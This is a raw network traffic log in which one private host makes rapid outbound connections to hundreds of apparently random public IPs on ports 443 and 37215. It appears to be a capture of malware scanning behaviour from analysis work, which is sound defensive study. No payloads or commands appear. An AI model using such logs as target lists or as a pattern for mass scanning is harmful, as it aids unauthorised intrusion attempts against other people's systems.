Dec 27, 2024 05:02:50.663433075 CET	14257	443	192.168.2.23	123.209.128.80
Dec 27, 2024 05:02:50.663439035 CET	14257	443	192.168.2.23	178.182.212.35
Dec 27, 2024 05:02:50.663439035 CET	14256	37215	192.168.2.23	197.219.64.148
Dec 27, 2024 05:02:50.663440943 CET	14256	37215	192.168.2.23	156.251.91.134
Dec 27, 2024 05:02:50.663441896 CET	14257	443	192.168.2.23	94.229.168.185
Dec 27, 2024 05:02:50.663441896 CET	14256	37215	192.168.2.23	156.144.141.151
Dec 27, 2024 05:02:50.663441896 CET	14257	443	192.168.2.23	37.174.98.218
Dec 27, 2024 05:02:50.663443089 CET	14256	37215	192.168.2.23	41.172.50.121
Dec 27, 2024 05:02:50.663446903 CET	14257	443	192.168.2.23	79.126.176.57
Dec 27, 2024 05:02:50.663446903 CET	14257	443	192.168.2.23	178.125.87.92
Dec 27, 2024 05:02:50.663450003 CET	14256	37215	192.168.2.23	156.69.237.156
Dec 27, 2024 05:02:50.663453102 CET	14257	443	192.168.2.23	202.69.127.207
Dec 27, 2024 05:02:50.663454056 CET	14256	37215	192.168.2.23	41.66.195.209
Dec 27, 2024 05:02:50.663454056 CET	14257	443	192.168.2.23	148.134.147.201
Dec 27, 2024 05:02:50.663454056 CET	14256	37215	192.168.2.23	41.34.109.231
Dec 27, 2024 05:02:50.663458109 CET	14257	443	192.168.2.23	210.105.58.105
Dec 27, 2024 05:02:50.663458109 CET	14257	443	192.168.2.23	37.30.77.157
Dec 27, 2024 05:02:50.663475990 CET	14257	443	192.168.2.23	148.207.84.128
Dec 27, 2024 05:02:50.663476944 CET	14257	443	192.168.2.23	94.201.4.185
Dec 27, 2024 05:02:50.663477898 CET	14257	443	192.168.2.23	212.74.254.120
Dec 27, 2024 05:02:50.663481951 CET	14257	443	192.168.2.23	109.32.43.208
Dec 27, 2024 05:02:50.663490057 CET	14256	37215	192.168.2.23	41.181.39.222
Dec 27, 2024 05:02:50.663490057 CET	14256	37215	192.168.2.23	156.6.70.48
Dec 27, 2024 05:02:50.663497925 CET	14256	37215	192.168.2.23	156.0.97.72
Dec 27, 2024 05:02:50.663515091 CET	14257	443	192.168.2.23	178.162.97.138
Dec 27, 2024 05:02:50.663516045 CET	14257	443	192.168.2.23	5.232.114.233
Dec 27, 2024 05:02:50.663516045 CET	14256	37215	192.168.2.23	41.51.250.19
Dec 27, 2024 05:02:50.663516998 CET	14257	443	192.168.2.23	210.62.105.44
Dec 27, 2024 05:02:50.663517952 CET	14256	37215	192.168.2.23	156.22.130.147
Dec 27, 2024 05:02:50.663528919 CET	14256	37215	192.168.2.23	156.40.141.182
Dec 27, 2024 05:02:50.663535118 CET	14257	443	192.168.2.23	212.7.136.188
Dec 27, 2024 05:02:50.663537025 CET	14257	443	192.168.2.23	2.111.217.186
Dec 27, 2024 05:02:50.663542032 CET	14256	37215	192.168.2.23	41.186.221.59
Dec 27, 2024 05:02:50.663544893 CET	14256	37215	192.168.2.23	41.38.50.254
Dec 27, 2024 05:02:50.663544893 CET	14257	443	192.168.2.23	123.156.56.141
Dec 27, 2024 05:02:50.663548946 CET	14256	37215	192.168.2.23	156.111.125.94
Dec 27, 2024 05:02:50.663548946 CET	14257	443	192.168.2.23	123.231.162.30
Dec 27, 2024 05:02:50.663552046 CET	14256	37215	192.168.2.23	197.18.143.9
Dec 27, 2024 05:02:50.663558960 CET	14256	37215	192.168.2.23	41.183.97.181
Dec 27, 2024 05:02:50.663564920 CET	14257	443	192.168.2.23	117.163.62.173
Dec 27, 2024 05:02:50.663568974 CET	14256	37215	192.168.2.23	41.192.125.138
Dec 27, 2024 05:02:50.663572073 CET	14257	443	192.168.2.23	178.129.133.96
Dec 27, 2024 05:02:50.663587093 CET	14256	37215	192.168.2.23	41.179.82.37
Dec 27, 2024 05:02:50.663588047 CET	14256	37215	192.168.2.23	156.46.138.51
Dec 27, 2024 05:02:50.663588047 CET	14256	37215	192.168.2.23	156.151.175.188
Dec 27, 2024 05:02:50.663592100 CET	14256	37215	192.168.2.23	197.153.204.234
Dec 27, 2024 05:02:50.663592100 CET	14257	443	192.168.2.23	109.250.23.138
Dec 27, 2024 05:02:50.663593054 CET	14257	443	192.168.2.23	123.177.208.5
Dec 27, 2024 05:02:50.663610935 CET	14256	37215	192.168.2.23	197.22.96.81
Dec 27, 2024 05:02:50.663614988 CET	14257	443	192.168.2.23	123.25.213.209
Dec 27, 2024 05:02:50.663615942 CET	14256	37215	192.168.2.23	41.139.110.5
Dec 27, 2024 05:02:50.663615942 CET	14256	37215	192.168.2.23	41.251.142.163
Dec 27, 2024 05:02:50.663621902 CET	14257	443	192.168.2.23	5.232.61.141
Dec 27, 2024 05:02:50.663623095 CET	14256	37215	192.168.2.23	197.136.94.113
Dec 27, 2024 05:02:50.663621902 CET	14256	37215	192.168.2.23	197.215.192.179
Dec 27, 2024 05:02:50.663623095 CET	14256	37215	192.168.2.23	41.186.184.212
Dec 27, 2024 05:02:50.663624048 CET	14256	37215	192.168.2.23	156.46.119.187
Dec 27, 2024 05:02:50.663625002 CET	14257	443	192.168.2.23	42.191.212.92
Dec 27, 2024 05:02:50.663633108 CET	14257	443	192.168.2.23	5.46.151.42
Dec 27, 2024 05:02:50.663634062 CET	14257	443	192.168.2.23	210.138.73.233
Dec 27, 2024 05:02:50.663636923 CET	14256	37215	192.168.2.23	197.79.3.181
Dec 27, 2024 05:02:50.663636923 CET	14257	443	192.168.2.23	117.156.7.158
Dec 27, 2024 05:02:50.663640976 CET	14256	37215	192.168.2.23	156.52.215.233
Dec 27, 2024 05:02:50.663640976 CET	14257	443	192.168.2.23	79.14.243.190
Dec 27, 2024 05:02:50.663640976 CET	14256	37215	192.168.2.23	156.210.214.25
Dec 27, 2024 05:02:50.663640976 CET	14257	443	192.168.2.23	37.220.193.130
Dec 27, 2024 05:02:50.663641930 CET	14256	37215	192.168.2.23	197.182.176.185
Dec 27, 2024 05:02:50.663641930 CET	14256	37215	192.168.2.23	156.164.96.157
Dec 27, 2024 05:02:50.663641930 CET	14256	37215	192.168.2.23	197.127.172.192
Dec 27, 2024 05:02:50.663645029 CET	14257	443	192.168.2.23	178.82.141.61
Dec 27, 2024 05:02:50.663647890 CET	14256	37215	192.168.2.23	41.39.47.138
Dec 27, 2024 05:02:50.663646936 CET	14256	37215	192.168.2.23	41.232.158.193
Dec 27, 2024 05:02:50.663651943 CET	14256	37215	192.168.2.23	41.16.85.231
Dec 27, 2024 05:02:50.663651943 CET	14256	37215	192.168.2.23	156.249.226.227
Dec 27, 2024 05:02:50.663657904 CET	14256	37215	192.168.2.23	197.194.217.226
Dec 27, 2024 05:02:50.663659096 CET	14256	37215	192.168.2.23	41.239.49.38
Dec 27, 2024 05:02:50.663660049 CET	14257	443	192.168.2.23	2.239.75.96
Dec 27, 2024 05:02:50.663660049 CET	14256	37215	192.168.2.23	41.67.129.145
Dec 27, 2024 05:02:50.663661003 CET	14256	37215	192.168.2.23	156.62.2.250
Dec 27, 2024 05:02:50.663670063 CET	14256	37215	192.168.2.23	156.0.119.124
Dec 27, 2024 05:02:50.663671017 CET	14256	37215	192.168.2.23	156.242.246.211
Dec 27, 2024 05:02:50.663672924 CET	14257	443	192.168.2.23	2.207.151.65
Dec 27, 2024 05:02:50.663680077 CET	14257	443	192.168.2.23	202.181.248.181
Dec 27, 2024 05:02:50.663681030 CET	14257	443	192.168.2.23	79.150.91.175
Dec 27, 2024 05:02:50.663696051 CET	14257	443	192.168.2.23	178.23.218.214
Dec 27, 2024 05:02:50.663698912 CET	14257	443	192.168.2.23	212.224.120.187
Dec 27, 2024 05:02:50.663702011 CET	14256	37215	192.168.2.23	197.211.243.189
Dec 27, 2024 05:02:50.663707018 CET	14257	443	192.168.2.23	123.120.104.113
Dec 27, 2024 05:02:50.663707972 CET	14257	443	192.168.2.23	210.138.89.63
Dec 27, 2024 05:02:50.663707972 CET	14256	37215	192.168.2.23	156.87.224.15
Dec 27, 2024 05:02:50.663707972 CET	14256	37215	192.168.2.23	156.62.13.124
Dec 27, 2024 05:02:50.663707972 CET	14256	37215	192.168.2.23	197.34.51.56
Dec 27, 2024 05:02:50.663714886 CET	14257	443	192.168.2.23	117.114.248.67
Dec 27, 2024 05:02:50.663719893 CET	14256	37215	192.168.2.23	156.142.4.70
Dec 27, 2024 05:02:50.663719893 CET	14257	443	192.168.2.23	123.94.238.5
Dec 27, 2024 05:02:50.663719893 CET	14256	37215	192.168.2.23	41.10.202.138
Dec 27, 2024 05:02:50.663727045 CET	14257	443	192.168.2.23	2.251.31.0
Dec 27, 2024 05:02:50.663733959 CET	14257	443	192.168.2.23	212.178.21.247
Dec 27, 2024 05:02:50.663733959 CET	14256	37215	192.168.2.23	41.185.213.216
Dec 27, 2024 05:02:50.663733959 CET	14257	443	192.168.2.23	210.113.174.34
Dec 27, 2024 05:02:50.663738966 CET	14256	37215	192.168.2.23	197.128.127.109
Dec 27, 2024 05:02:50.663743019 CET	14257	443	192.168.2.23	123.203.84.148
Dec 27, 2024 05:02:50.663744926 CET	14257	443	192.168.2.23	117.90.184.11
Dec 27, 2024 05:02:50.663748980 CET	14257	443	192.168.2.23	79.2.196.13
Dec 27, 2024 05:02:50.663748980 CET	14256	37215	192.168.2.23	197.43.99.159
Dec 27, 2024 05:02:50.663753033 CET	14257	443	192.168.2.23	37.112.193.129
Dec 27, 2024 05:02:50.663753033 CET	14256	37215	192.168.2.23	156.167.230.118
Dec 27, 2024 05:02:50.663753986 CET	14256	37215	192.168.2.23	156.78.113.103
Dec 27, 2024 05:02:50.663753986 CET	14257	443	192.168.2.23	118.3.239.91
Dec 27, 2024 05:02:50.663753986 CET	14257	443	192.168.2.23	118.143.221.98
Dec 27, 2024 05:02:50.663753986 CET	14256	37215	192.168.2.23	41.70.98.131
Dec 27, 2024 05:02:50.663764954 CET	14257	443	192.168.2.23	109.122.234.152
Dec 27, 2024 05:02:50.663765907 CET	14256	37215	192.168.2.23	41.33.17.219
Dec 27, 2024 05:02:50.663765907 CET	14256	37215	192.168.2.23	156.92.6.205
Dec 27, 2024 05:02:50.663777113 CET	14256	37215	192.168.2.23	41.228.33.84
Dec 27, 2024 05:02:50.663779020 CET	14257	443	192.168.2.23	202.157.27.35
Dec 27, 2024 05:02:50.663793087 CET	14257	443	192.168.2.23	178.201.31.17
Dec 27, 2024 05:02:50.663800001 CET	14257	443	192.168.2.23	5.113.90.222
Dec 27, 2024 05:02:50.663800001 CET	14257	443	192.168.2.23	109.46.249.99
Dec 27, 2024 05:02:50.663800001 CET	14257	443	192.168.2.23	79.7.115.197
Dec 27, 2024 05:02:50.663801908 CET	14257	443	192.168.2.23	37.175.105.58
Dec 27, 2024 05:02:50.663816929 CET	14257	443	192.168.2.23	212.206.38.1
Dec 27, 2024 05:02:50.663817883 CET	14257	443	192.168.2.23	94.253.91.154
Dec 27, 2024 05:02:50.663819075 CET	14257	443	192.168.2.23	202.156.30.106
Dec 27, 2024 05:02:50.663821936 CET	14257	443	192.168.2.23	109.62.162.23
Dec 27, 2024 05:02:50.663824081 CET	14257	443	192.168.2.23	117.116.99.19
Dec 27, 2024 05:02:50.663831949 CET	14257	443	192.168.2.23	210.111.7.206
Dec 27, 2024 05:02:50.663840055 CET	14257	443	192.168.2.23	109.52.227.112
Dec 27, 2024 05:02:50.663841009 CET	14257	443	192.168.2.23	37.47.251.236
Dec 27, 2024 05:02:50.663847923 CET	14257	443	192.168.2.23	212.4.166.173
Dec 27, 2024 05:02:50.663856983 CET	14257	443	192.168.2.23	2.43.83.62
Dec 27, 2024 05:02:50.663861036 CET	14257	443	192.168.2.23	79.29.126.54
Dec 27, 2024 05:02:50.663877010 CET	14257	443	192.168.2.23	123.212.34.146
Dec 27, 2024 05:02:50.663877010 CET	14257	443	192.168.2.23	94.176.131.208
Dec 27, 2024 05:02:50.663877010 CET	14257	443	192.168.2.23	42.228.221.36
Dec 27, 2024 05:02:50.663877010 CET	14257	443	192.168.2.23	117.72.65.116
Dec 27, 2024 05:02:50.663892984 CET	14257	443	192.168.2.23	2.124.39.211
Dec 27, 2024 05:02:50.663893938 CET	14257	443	192.168.2.23	2.50.181.123
Dec 27, 2024 05:02:50.663898945 CET	14257	443	192.168.2.23	5.193.175.42
Dec 27, 2024 05:02:50.663898945 CET	14257	443	192.168.2.23	178.19.219.135
Dec 27, 2024 05:02:50.663914919 CET	14257	443	192.168.2.23	5.231.56.11
Dec 27, 2024 05:02:50.663917065 CET	14257	443	192.168.2.23	37.92.73.98
Dec 27, 2024 05:02:50.663927078 CET	14257	443	192.168.2.23	202.77.92.139
Dec 27, 2024 05:02:50.663927078 CET	14257	443	192.168.2.23	117.178.159.165
Dec 27, 2024 05:02:50.663932085 CET	14257	443	192.168.2.23	118.97.128.54
Dec 27, 2024 05:02:50.663934946 CET	14257	443	192.168.2.23	117.143.77.158
Dec 27, 2024 05:02:50.663938046 CET	14257	443	192.168.2.23	2.21.148.14
Dec 27, 2024 05:02:50.663950920 CET	14257	443	192.168.2.23	2.78.147.211
Dec 27, 2024 05:02:50.663952112 CET	14257	443	192.168.2.23	202.116.90.14
Dec 27, 2024 05:02:50.663969040 CET	14257	443	192.168.2.23	79.227.167.226
Dec 27, 2024 05:02:50.663980961 CET	14257	443	192.168.2.23	118.250.98.255
Dec 27, 2024 05:02:50.663980961 CET	14257	443	192.168.2.23	5.98.2.52
Dec 27, 2024 05:02:50.663981915 CET	14257	443	192.168.2.23	117.72.213.226
Dec 27, 2024 05:02:50.663988113 CET	14257	443	192.168.2.23	5.16.119.208
Dec 27, 2024 05:02:50.663995028 CET	14257	443	192.168.2.23	37.38.76.197
Dec 27, 2024 05:02:50.664011955 CET	14257	443	192.168.2.23	148.155.5.78
Dec 27, 2024 05:02:50.664011955 CET	14257	443	192.168.2.23	178.132.75.123
Dec 27, 2024 05:02:50.664012909 CET	14257	443	192.168.2.23	109.222.157.210
Dec 27, 2024 05:02:50.664031982 CET	14257	443	192.168.2.23	5.42.24.147
Dec 27, 2024 05:02:50.664031982 CET	14257	443	192.168.2.23	42.24.35.26
Dec 27, 2024 05:02:50.664035082 CET	14257	443	192.168.2.23	123.240.210.57
Dec 27, 2024 05:02:50.664036989 CET	14257	443	192.168.2.23	2.3.231.78
Dec 27, 2024 05:02:50.664047956 CET	14257	443	192.168.2.23	210.136.179.52
Dec 27, 2024 05:02:50.664060116 CET	14257	443	192.168.2.23	123.114.37.143
Dec 27, 2024 05:02:50.664060116 CET	14257	443	192.168.2.23	94.0.231.134
Dec 27, 2024 05:02:50.664068937 CET	14257	443	192.168.2.23	210.247.14.152
Dec 27, 2024 05:02:50.664081097 CET	14257	443	192.168.2.23	118.232.20.194
Dec 27, 2024 05:02:50.664092064 CET	14257	443	192.168.2.23	42.155.232.221
Dec 27, 2024 05:02:50.664100885 CET	14257	443	192.168.2.23	123.26.5.139
Dec 27, 2024 05:02:50.664108992 CET	14257	443	192.168.2.23	210.32.132.168
Dec 27, 2024 05:02:50.664108992 CET	14257	443	192.168.2.23	37.197.99.123
Dec 27, 2024 05:02:50.664112091 CET	14257	443	192.168.2.23	212.105.197.182
Dec 27, 2024 05:02:50.664113045 CET	14257	443	192.168.2.23	123.92.246.103
Dec 27, 2024 05:02:50.664117098 CET	14257	443	192.168.2.23	109.97.237.109
Dec 27, 2024 05:02:50.664123058 CET	14257	443	192.168.2.23	148.94.157.168
Dec 27, 2024 05:02:50.664130926 CET	14257	443	192.168.2.23	123.228.4.130
Dec 27, 2024 05:02:50.664138079 CET	14257	443	192.168.2.23	94.108.128.139
Dec 27, 2024 05:02:50.664140940 CET	14257	443	192.168.2.23	148.120.222.170
Dec 27, 2024 05:02:50.664149046 CET	14257	443	192.168.2.23	42.66.89.179
Dec 27, 2024 05:02:50.664165974 CET	14257	443	192.168.2.23	118.65.187.53
Dec 27, 2024 05:02:50.664169073 CET	14257	443	192.168.2.23	202.194.125.191
Dec 27, 2024 05:02:50.664170027 CET	14257	443	192.168.2.23	2.139.7.206
Dec 27, 2024 05:02:50.664171934 CET	14257	443	192.168.2.23	109.60.153.89
Dec 27, 2024 05:02:50.664191961 CET	14257	443	192.168.2.23	5.68.207.108
Dec 27, 2024 05:02:50.664191961 CET	14257	443	192.168.2.23	5.122.186.83
Dec 27, 2024 05:02:50.664194107 CET	14257	443	192.168.2.23	123.79.241.241
Dec 27, 2024 05:02:50.664201021 CET	14257	443	192.168.2.23	212.125.65.138
Dec 27, 2024 05:02:50.664207935 CET	14257	443	192.168.2.23	2.116.252.118
Dec 27, 2024 05:02:50.664216995 CET	14257	443	192.168.2.23	79.73.32.138
Dec 27, 2024 05:02:50.664221048 CET	14257	443	192.168.2.23	94.43.239.97
Dec 27, 2024 05:02:50.664228916 CET	14257	443	192.168.2.23	202.168.104.153
Dec 27, 2024 05:02:50.664237976 CET	14257	443	192.168.2.23	79.84.202.105
Dec 27, 2024 05:02:50.664237976 CET	14257	443	192.168.2.23	212.232.86.197
Dec 27, 2024 05:02:50.664239883 CET	14257	443	192.168.2.23	42.70.248.224
Dec 27, 2024 05:02:50.664239883 CET	14257	443	192.168.2.23	212.243.35.175
Dec 27, 2024 05:02:50.664256096 CET	14257	443	192.168.2.23	42.45.147.121
Dec 27, 2024 05:02:50.664261103 CET	14257	443	192.168.2.23	117.92.90.27
Dec 27, 2024 05:02:50.664263964 CET	14257	443	192.168.2.23	210.132.53.252
Dec 27, 2024 05:02:50.664275885 CET	14257	443	192.168.2.23	42.226.154.173
Dec 27, 2024 05:02:50.664282084 CET	14257	443	192.168.2.23	202.203.210.148
Dec 27, 2024 05:02:50.664283037 CET	14257	443	192.168.2.23	118.35.161.232
Dec 27, 2024 05:02:50.664285898 CET	14257	443	192.168.2.23	178.8.80.132
Dec 27, 2024 05:02:50.664299965 CET	14257	443	192.168.2.23	148.55.204.94
Dec 27, 2024 05:02:50.664303064 CET	14257	443	192.168.2.23	210.195.12.51
Dec 27, 2024 05:02:50.664304018 CET	14257	443	192.168.2.23	2.217.31.60
Dec 27, 2024 05:02:50.664305925 CET	14257	443	192.168.2.23	212.68.88.190
Dec 27, 2024 05:02:50.664311886 CET	14257	443	192.168.2.23	148.158.172.239
Dec 27, 2024 05:02:50.664330006 CET	14257	443	192.168.2.23	123.97.71.210
Dec 27, 2024 05:02:50.664330006 CET	14257	443	192.168.2.23	123.247.208.151
Dec 27, 2024 05:02:50.664331913 CET	14257	443	192.168.2.23	2.110.35.158
Dec 27, 2024 05:02:50.664331913 CET	14257	443	192.168.2.23	178.198.239.58
Dec 27, 2024 05:02:50.664333105 CET	14257	443	192.168.2.23	148.124.30.173
Dec 27, 2024 05:02:50.664333105 CET	14257	443	192.168.2.23	148.119.113.187
Dec 27, 2024 05:02:50.664333105 CET	14257	443	192.168.2.23	42.180.143.106
Dec 27, 2024 05:02:50.664340973 CET	14257	443	192.168.2.23	109.207.194.254
Dec 27, 2024 05:02:50.664341927 CET	14257	443	192.168.2.23	123.234.187.2
Dec 27, 2024 05:02:50.664355040 CET	14257	443	192.168.2.23	79.59.107.83
Dec 27, 2024 05:02:50.664355040 CET	14257	443	192.168.2.23	2.22.109.19
Dec 27, 2024 05:02:50.664357901 CET	14257	443	192.168.2.23	37.7.164.233
Dec 27, 2024 05:02:50.664361000 CET	14257	443	192.168.2.23	202.165.183.110
Dec 27, 2024 05:02:50.664375067 CET	14257	443	192.168.2.23	5.97.133.27
Dec 27, 2024 05:02:50.664375067 CET	14257	443	192.168.2.23	202.129.159.247
Dec 27, 2024 05:02:50.664378881 CET	14257	443	192.168.2.23	178.98.204.159
Dec 27, 2024 05:02:50.664381027 CET	14257	443	192.168.2.23	79.14.131.45
Dec 27, 2024 05:02:50.664391994 CET	14257	443	192.168.2.23	117.238.109.230
Dec 27, 2024 05:02:50.664391994 CET	14257	443	192.168.2.23	123.197.200.49
Dec 27, 2024 05:02:50.664407969 CET	14257	443	192.168.2.23	79.229.56.202
Dec 27, 2024 05:02:50.664407969 CET	14257	443	192.168.2.23	5.100.80.232
Dec 27, 2024 05:02:50.664417982 CET	14257	443	192.168.2.23	118.48.118.253
Dec 27, 2024 05:02:50.664419889 CET	14257	443	192.168.2.23	202.235.94.4
Dec 27, 2024 05:02:50.664438009 CET	14257	443	192.168.2.23	123.36.126.213
Dec 27, 2024 05:02:50.664441109 CET	14257	443	192.168.2.23	212.175.154.75
Dec 27, 2024 05:02:50.664446115 CET	14257	443	192.168.2.23	37.13.210.227
Dec 27, 2024 05:02:50.664474010 CET	14257	443	192.168.2.23	5.222.108.156
Dec 27, 2024 05:02:50.664475918 CET	14257	443	192.168.2.23	5.91.152.34
Dec 27, 2024 05:02:50.664477110 CET	14257	443	192.168.2.23	117.89.55.122
Dec 27, 2024 05:02:50.664479017 CET	14257	443	192.168.2.23	210.45.158.43
Dec 27, 2024 05:02:50.664483070 CET	14257	443	192.168.2.23	79.239.126.221
Dec 27, 2024 05:02:50.664495945 CET	14257	443	192.168.2.23	202.147.130.23
Dec 27, 2024 05:02:50.664498091 CET	14257	443	192.168.2.23	202.245.37.211
Dec 27, 2024 05:02:50.664498091 CET	14257	443	192.168.2.23	123.233.194.159
Dec 27, 2024 05:02:50.664515018 CET	14257	443	192.168.2.23	42.137.145.219
Dec 27, 2024 05:02:50.664521933 CET	14257	443	192.168.2.23	79.52.115.183
Dec 27, 2024 05:02:50.664521933 CET	14257	443	192.168.2.23	123.61.49.109
Dec 27, 2024 05:02:50.664545059 CET	14257	443	192.168.2.23	148.234.221.227
Dec 27, 2024 05:02:50.664546013 CET	14257	443	192.168.2.23	178.89.8.250
Dec 27, 2024 05:02:50.664546013 CET	14257	443	192.168.2.23	178.105.140.19
Dec 27, 2024 05:02:50.664549112 CET	14257	443	192.168.2.23	42.34.249.116
Dec 27, 2024 05:02:50.664549112 CET	14257	443	192.168.2.23	94.188.220.58
Dec 27, 2024 05:02:50.664549112 CET	14257	443	192.168.2.23	178.240.54.91
Dec 27, 2024 05:02:50.664549112 CET	14257	443	192.168.2.23	118.191.248.186
Dec 27, 2024 05:02:50.664551973 CET	14257	443	192.168.2.23	5.72.25.73
Dec 27, 2024 05:02:50.664558887 CET	14257	443	192.168.2.23	109.44.200.67
Dec 27, 2024 05:02:50.664563894 CET	14257	443	192.168.2.23	109.88.190.68
Dec 27, 2024 05:02:50.664576054 CET	14257	443	192.168.2.23	117.43.194.235
Dec 27, 2024 05:02:50.664594889 CET	14257	443	192.168.2.23	94.155.198.170
Dec 27, 2024 05:02:50.664594889 CET	14257	443	192.168.2.23	37.68.50.197
Dec 27, 2024 05:02:50.664625883 CET	14257	443	192.168.2.23	37.120.99.8
Dec 27, 2024 05:02:50.664630890 CET	14257	443	192.168.2.23	148.0.134.225
Dec 27, 2024 05:02:50.664633036 CET	14257	443	192.168.2.23	118.247.193.241
Dec 27, 2024 05:02:50.664635897 CET	14257	443	192.168.2.23	210.168.170.68
Dec 27, 2024 05:02:50.664635897 CET	14257	443	192.168.2.23	79.93.71.58
Dec 27, 2024 05:02:50.664639950 CET	14257	443	192.168.2.23	117.232.202.104
Dec 27, 2024 05:02:50.664642096 CET	14257	443	192.168.2.23	178.43.61.167
Dec 27, 2024 05:02:50.664642096 CET	14257	443	192.168.2.23	178.175.204.222
Dec 27, 2024 05:02:50.664642096 CET	14257	443	192.168.2.23	123.44.127.146
Dec 27, 2024 05:02:50.664647102 CET	14257	443	192.168.2.23	118.164.169.135
Dec 27, 2024 05:02:50.664650917 CET	14257	443	192.168.2.23	123.207.96.174
Dec 27, 2024 05:02:50.664650917 CET	14257	443	192.168.2.23	212.144.110.238
Dec 27, 2024 05:02:50.664652109 CET	14257	443	192.168.2.23	148.41.244.42
Dec 27, 2024 05:02:50.664652109 CET	14257	443	192.168.2.23	109.53.29.134
Dec 27, 2024 05:02:50.664654970 CET	14257	443	192.168.2.23	202.49.202.195
Dec 27, 2024 05:02:50.664652109 CET	14257	443	192.168.2.23	178.153.207.67
Dec 27, 2024 05:02:50.664654970 CET	14257	443	192.168.2.23	210.196.154.135
Dec 27, 2024 05:02:50.664652109 CET	14257	443	192.168.2.23	212.230.183.77
Dec 27, 2024 05:02:50.664652109 CET	14257	443	192.168.2.23	210.54.235.152
Dec 27, 2024 05:02:50.664660931 CET	14257	443	192.168.2.23	109.198.92.246
Dec 27, 2024 05:02:50.664660931 CET	14257	443	192.168.2.23	5.121.2.201
Dec 27, 2024 05:02:50.664664030 CET	14257	443	192.168.2.23	109.170.155.120
Dec 27, 2024 05:02:50.664674997 CET	14257	443	192.168.2.23	37.99.19.18
Dec 27, 2024 05:02:50.664675951 CET	14257	443	192.168.2.23	210.134.197.58
Dec 27, 2024 05:02:50.664690018 CET	14257	443	192.168.2.23	117.182.231.77
Dec 27, 2024 05:02:50.664690018 CET	14257	443	192.168.2.23	42.69.58.158
Dec 27, 2024 05:02:50.664705038 CET	14257	443	192.168.2.23	118.48.19.133
Dec 27, 2024 05:02:50.664707899 CET	14257	443	192.168.2.23	94.59.159.18
Dec 27, 2024 05:02:50.664714098 CET	14257	443	192.168.2.23	123.151.143.91
Dec 27, 2024 05:02:50.664731979 CET	14257	443	192.168.2.23	202.142.139.248
Dec 27, 2024 05:02:50.664742947 CET	14257	443	192.168.2.23	212.116.123.145
Dec 27, 2024 05:02:50.664745092 CET	14257	443	192.168.2.23	42.187.109.11
Dec 27, 2024 05:02:50.664753914 CET	14257	443	192.168.2.23	123.85.45.158
Dec 27, 2024 05:02:50.664755106 CET	14257	443	192.168.2.23	94.35.174.204
Dec 27, 2024 05:02:50.664758921 CET	14257	443	192.168.2.23	148.168.23.21
Dec 27, 2024 05:02:50.664808989 CET	14257	443	192.168.2.23	109.57.229.197
Dec 27, 2024 05:02:50.664808989 CET	14257	443	192.168.2.23	210.54.205.188
Dec 27, 2024 05:02:50.664823055 CET	14257	443	192.168.2.23	79.181.246.111
Dec 27, 2024 05:02:50.664832115 CET	14257	443	192.168.2.23	42.13.247.11
Dec 27, 2024 05:02:50.664834976 CET	14257	443	192.168.2.23	109.5.240.255
Dec 27, 2024 05:02:50.664843082 CET	14257	443	192.168.2.23	118.158.200.96
Dec 27, 2024 05:02:50.664854050 CET	14257	443	192.168.2.23	79.68.9.156
Dec 27, 2024 05:02:50.664859056 CET	14257	443	192.168.2.23	109.41.49.87
Dec 27, 2024 05:02:50.664872885 CET	14257	443	192.168.2.23	2.198.28.6
Dec 27, 2024 05:02:50.664875031 CET	14257	443	192.168.2.23	2.227.70.202
Dec 27, 2024 05:02:50.664875031 CET	14257	443	192.168.2.23	2.42.46.197
Dec 27, 2024 05:02:50.664880037 CET	14257	443	192.168.2.23	37.114.64.178
Dec 27, 2024 05:02:50.664880037 CET	14257	443	192.168.2.23	210.54.47.127
Dec 27, 2024 05:02:50.664880037 CET	14257	443	192.168.2.23	123.197.100.129
Dec 27, 2024 05:02:50.664884090 CET	14257	443	192.168.2.23	178.218.146.232
Dec 27, 2024 05:02:50.664884090 CET	14257	443	192.168.2.23	210.254.248.62
Dec 27, 2024 05:02:50.664882898 CET	14257	443	192.168.2.23	37.149.108.110
Dec 27, 2024 05:02:50.664890051 CET	14257	443	192.168.2.23	212.176.89.164
Dec 27, 2024 05:02:50.664891005 CET	14257	443	192.168.2.23	148.241.142.84
Dec 27, 2024 05:02:50.664916992 CET	14257	443	192.168.2.23	79.195.116.241
Dec 27, 2024 05:02:50.664922953 CET	14257	443	192.168.2.23	123.107.144.132
Dec 27, 2024 05:02:50.664922953 CET	14257	443	192.168.2.23	118.15.223.66
Dec 27, 2024 05:02:50.664928913 CET	14257	443	192.168.2.23	123.230.174.64
Dec 27, 2024 05:02:50.664937973 CET	14257	443	192.168.2.23	123.244.180.219
Dec 27, 2024 05:02:50.664937973 CET	14257	443	192.168.2.23	202.164.182.226
Dec 27, 2024 05:02:50.664941072 CET	14257	443	192.168.2.23	5.224.157.188
Dec 27, 2024 05:02:50.664944887 CET	14257	443	192.168.2.23	42.18.175.161
Dec 27, 2024 05:02:50.664980888 CET	14257	443	192.168.2.23	79.168.150.184
Dec 27, 2024 05:02:50.664980888 CET	14257	443	192.168.2.23	79.119.37.136
Dec 27, 2024 05:02:50.665002108 CET	14257	443	192.168.2.23	94.215.131.228
Dec 27, 2024 05:02:50.665002108 CET	14257	443	192.168.2.23	118.51.122.83
Dec 27, 2024 05:02:50.665002108 CET	14257	443	192.168.2.23	123.249.196.16
Dec 27, 2024 05:02:50.665034056 CET	14257	443	192.168.2.23	79.241.164.65
Dec 27, 2024 05:02:50.665035009 CET	14257	443	192.168.2.23	117.13.223.177
Dec 27, 2024 05:02:50.665045023 CET	14257	443	192.168.2.23	202.34.222.177
Dec 27, 2024 05:02:50.665045023 CET	14257	443	192.168.2.23	94.151.240.39
Dec 27, 2024 05:02:50.665052891 CET	14257	443	192.168.2.23	123.129.154.169
Dec 27, 2024 05:02:50.665066957 CET	14257	443	192.168.2.23	117.191.78.180
Dec 27, 2024 05:02:50.665066957 CET	14257	443	192.168.2.23	123.144.2.109
Dec 27, 2024 05:02:50.665066957 CET	14257	443	192.168.2.23	212.102.63.164
Dec 27, 2024 05:02:50.665107012 CET	14257	443	192.168.2.23	178.248.237.113
Dec 27, 2024 05:02:50.665107012 CET	14257	443	192.168.2.23	37.222.2.44
Dec 27, 2024 05:02:50.665112019 CET	14257	443	192.168.2.23	118.47.43.200
Dec 27, 2024 05:02:50.665126085 CET	14257	443	192.168.2.23	202.52.76.174
Dec 27, 2024 05:02:50.665128946 CET	14257	443	192.168.2.23	94.86.240.89
Dec 27, 2024 05:02:50.665128946 CET	14257	443	192.168.2.23	94.61.250.237
Dec 27, 2024 05:02:50.665131092 CET	14257	443	192.168.2.23	123.125.17.30
